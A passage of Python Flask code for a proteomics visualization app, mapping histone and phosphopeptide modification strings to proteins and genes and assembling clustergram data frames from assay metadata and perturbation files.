"P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } meta_data = pd.read_csv('static/data/GCP-all-plates-metaData.csv', sep=',', header=None) #print meta_data for i in range(0, 79): peptide = str(meta_data[4][28 + i]) if(peptide == 'T[+56]K[+42]QTAR'): print str(meta_data[2][28 + i]) if(str(meta_data[2][28 + i]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" print peptide row_peptide.append('Peptide: ' + peptide) shorthand = peptide2ptmAndGene[peptide] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(meta_data[9][28 + i])) row_gene.append('Gene: ' + str(meta_data[6][28 + i])) col_cell_line = [] col_pert_dose = [] col_pert_time = [] col_pert_name = [] col_pert_signature = [] col_pert_type = [] first_loop = True # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) # open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: with open('static/data/GCP_processed_perturb_for_clustergramm_slicing.json') as f: data = json.load(f) cp_iter = 1 for var in compounds: cp = str(var).upper() print cp if cp in data: for iter in data[cp]: print cp_iter cp_iter += 1 col_cell_line.append('Cell Line: ' + iter["Cell_line"]) col_pert_dose.append('Dose: ' + iter["Dose"]) col_pert_time.append('Time: ' + iter["Time"]) col_pert_name.append('Perturbations: ' + iter["Perturbations"]) col_pert_signature.append('Signature ID: ' + iter["Sig_id"]) col_pert_type.append('Type: ' + iter["Type"]) x1 = np.array(iter["data"]) # print "end of loop1" x2 = x1[:, np.newaxis] # print "end of loop2" my_data_final = np.asarray(x2) # print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) arrays_rows2 = [np.array(row_shorthand), np.array(row_peptide), np.array(row_protein), np.array(row_gene)] arrays_columns2 = [np.array(col_pert_name), np.array(col_pert_signature), np.array(col_pert_time), np.array(col_pert_dose), np.array(col_pert_type), np.array(col_cell_line)] # print arrays_columns2 # arrays_rows2 = np.load("static/data/P100_rowMetaDat") tuples_rows2 = list(zip(*arrays_rows2)) # print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) # print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) # my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) # a2 = my_data_con aa = a2.astype(np.float) print "a2.shape" print a2.shape print "columns_labels2.shape" print columns_labels2.shape print "rows_labels2.shape" print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) #print results print "finished" GCP_all_json = loadFile.make_json_from_txt(df2) return GCP_all_json @app.route("/api/clust/P100/aggregatedforSlicing/<input_list>") def P100Slicing(input_list): compounds = [] results = {} for var in input_list.split(","): compounds.append(var) # row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] peptide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } meta_data = pd.read_csv('static/data/P100-all-plates-metaData.csv', sep=',', header=None) #print meta_data for i in range(0, 96): # print str(meta_data[6][29 + i]) # print petide2ptmAndGene[str(meta_data[6][29 + i])] # print str(meta_data[11][29 + i]) # print str(meta_data[2][29 + i]) row_peptide.append('Peptide: ' + str(meta_data[6][29 + i])) shorthand = peptide2ptmAndGene[str(meta_data[6][29 + i])] row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(meta_data[11][29 + i])) row_gene.append('Gene: ' + str(meta_data[2][29 + i])) print i col_cell_line = [] col_pert_dose = [] col_pert_time = [] col_pert_name = [] col_pert_signature = [] col_pert_type = [] first_loop = True # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) # open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: with open('static/data/P100_processed_perturb_for_clustergramm_slicing.json') as f: data = json.load(f) cp_iter = 1 for var in compounds: cp = str(var).upper() print cp if cp in data: for iter in data[cp]: print cp_iter col_cell_line.append('Cell Line: ' + iter["Cell_line"]) col_pert_dose.append('Dose: ' + iter["Dose"]) col_pert_time.append('Time: ' + iter["Time"]) col_pert_name.append('Perturbations: ' + iter["Perturbations"]) col_pert_signature.append('Signature ID: ' + iter["Sig_id"]) col_pert_type.append('Type: ' + iter["Type"]) x1 = np.array(iter["data"]) # print "end of loop1" x2 = x1[:, np.newaxis] # print "end of loop2" my_data_final = np.asarray(x2) # print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) # for i in range(0, 96): # row_peptide.append('Peptide: ' + str(P100_data[6][29 + i])) # shorthand = petide2ptmAndGene[str(P100_data[6][29 + i])] # row_shorthand.append('PTM Proteins: ' + shorthand) # row_protein.append('Protein: ' + str(P100_data[11][29 + i])) # row_gene.append('Gene: ' + str(P100_data[2][29 + i])) arrays_rows2 = [np.array(row_shorthand), np.array(row_peptide), np.array(row_protein), np.array(row_gene)] arrays_columns2 = [np.array(col_pert_name), np.array(col_pert_signature), np.array(col_pert_time), np.array(col_pert_dose), np.array(col_pert_type), np.array(col_cell_line)] # print arrays_columns2 # arrays_rows2 = np.load("static/data/P100_rowMetaDat") tuples_rows2 = list(zip(*arrays_rows2)) # print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) # print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) # my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) # a2 = my_data_con aa = a2.astype(np.float) print "a2.shape" print a2.shape print "columns_labels2.shape" print columns_labels2.shape print "rows_labels2.shape" print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} # df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) #print results print "finished" P100_all_json = loadFile.make_json_from_txt(df2) return P100_all_json @app.route("/api/clust/") def make_clustergram(): # header1 = pd.MultiIndex.from_product([['a', 'b', 'c'], ['S1', 'S2']], names=['Col', 'S']) # header2 = pd.MultiIndex.from_product([['a', 'b', 'c'], ['T1', 'T2']], names=['Row', 'T']) # df = pd.DataFrame(np.random.randint(low=1, high=10, size=(6,6)), columns = header1, index = header2) # df.rename_axis("Column", axis="columns") # df.rename_axis("Row", axis="index") # arrays = [['bar', 'bar', 'baz', 'baz', 'foo', 'foo', 'qux', 'qux'], # ['one', 'two', 'one', 'two', 'one', 'two', 'one', 'two'], # ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']] #columns = pd.MultiIndex.from_tuples(tuples1, names=['first', 'second'], tuples2, names=['first', 'second']) # s = pd.Series(np.random.randn(8), index=index) #df = pd.DataFrame(np.random.randint(low=1, high=10, size=(8, 8)), columns=columns, index=index) arrays_rows = [np.array(['Row Label: bar1', 'Row Label: arb1', 'Row Label: baz1', 'Row Label: caz1', 'Row Label: footttttt', 'Row Label: fos1']), # Row headers np.array(['one', 'two', 'one', 'two', 'one', 'two', 'one', 'two']), # Category 1 np.array(['Letters: a', 'Letters: b', 'Letters: c', 'Letters: d', 'Letters: e', 'Letters: f', 'Letters: g', 'Letters: h']), # Category 2 np.array(['Numbers: 1', 'Numbers: 2', 'Numbers: 3', 'Numbers: 1', 'Numbers: 2', 'Numbers: 3', 'Numbers: 1', 'Numbers: 2'])] # Category 3 arrays_columns = [np.array(['Column Label: nop', 'Column Label: o0p', 'Column Label: zaz', 'Column Label: zax', 'Column Label: oof', 'Column Label: oye']), # Column headers np.array(['Symbol: @', 'Symbol: !', 'Symbol: #', 'Symbol: @', 'Symbol: !', 'Symbol: #', 'Symbol: @', 'Symbol: !']), # Category 1 np.array(['three', 'four', 'three', 'four', 'three', 'four', 'three', 'four'])] # Category 2 # s = pd.Series(np.random.randn(8), index=arrays) # df = pd.DataFrame(np.random.randn(3, 8), index=['A', 'B', 'C'], columns=index) tuples_rows = list(zip(*arrays_rows)) tuples_columns = list(zip(*arrays_columns)) rows_labels = pd.MultiIndex.from_tuples(tuples_rows) columns_labels = pd.MultiIndex.from_tuples(tuples_columns) a = np.matrix('.1 .2 .3 .4 .5 .6;' ' .2 .3 .4 .5 .6 .7;' ' .3 .4 .5 .6 .7 .8;' ' -.1, -.2 -.3 -.4, -.5, -.6;' ' -.2, -.3 -.4 -.5, -.6, -.7;' ' -.3, -.4 -.5 -.6, -.7, -.8') # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} df 